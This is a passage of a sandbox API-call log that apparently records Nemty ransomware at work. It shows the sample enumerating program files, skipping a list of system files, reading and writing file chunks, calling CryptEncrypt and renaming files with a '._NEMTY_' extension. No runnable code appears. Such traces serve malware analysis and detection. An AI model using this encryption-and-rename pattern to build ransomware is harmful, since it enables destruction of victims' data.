lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.972] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.972] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0068.012] CloseHandle (hObject=0xffffffff) returned 0 [0068.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0068.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0068.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0068.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0068.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0068.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0068.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0068.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0068.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.012] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png._nemty_kgobjgd_")) returned 0 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.013] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2=".") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="..") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="...") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="windows") returned -1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="$RECYCLE.BIN") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="rsa") returned -1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="NTDETECT.COM") returned -1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="ntldr") returned -1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="MSDOS.SYS") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="IO.SYS") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="boot.ini") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="boot.ini") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="ntuser.dat") returned -1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="desktop.ini") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="CONFIG.SYS") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="RECYCLER") returned -1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="BOOTSECT.BAK") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="bootmgr") returned 1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="programdata") returned -1 [0068.013] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="appdata") returned 1 [0068.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0068.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_btn-back-static.png", lpUsedDefaultChar=0x0) returned 25 [0068.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0068.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0068.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_btn-back-static.png", lpUsedDefaultChar=0x0) returned 25 [0068.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0068.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0068.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_btn-back-static.png", lpUsedDefaultChar=0x0) returned 25 [0068.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0068.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_btn-back-static.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_btn-back-static.png", lpUsedDefaultChar=0x0) returned 25 [0068.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0068.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0068.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0068.014] Sleep (dwMilliseconds=0x5) [0068.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc321110, dwHighDateTime=0x1d561e7)) [0068.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc321110, dwHighDateTime=0x1d561e7)) [0068.029] GetLastError () returned 0x5 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.030] GetLastError () returned 0x5 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0068.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0068.030] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0068.030] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Log6LDll9f7sCO+eCSpUutVUSF4PRjdNlTS120cV1TnwDwSffHoMr5N4zu7IztSh\r\nRpjXdsD2GOkHCvFwrAa+ZK8l/QkgJi1QAtcNXiYpTbjnFhe2PqxB47PDTQYpZPi2\r\nu4PfuC7vCgzXNTACs3hBYMMJ6Y/7Hvx94j2mNBmXnF1DL48/ySOBM1hYkKTlUG5l\r\nNrV1KlzMYM7mumAQPJ/H0X4Mdckj2S+vtDNMlARNgsP1m8FoWi+l9kPnlJR7WVSj\r\nE/Gv7EdGNtKju/hYgW9mFvhVF1CiOq92w0fgGRE8+k8mMfEFBI7ZL086un7p1E9k\r\nqnwoghde6Wl7ttR0jaKhKQ==\r\n", pcchString=0x653e91c) returned 1 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0068.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0068.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0068.030] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.030] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0068.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0068.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.088] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, 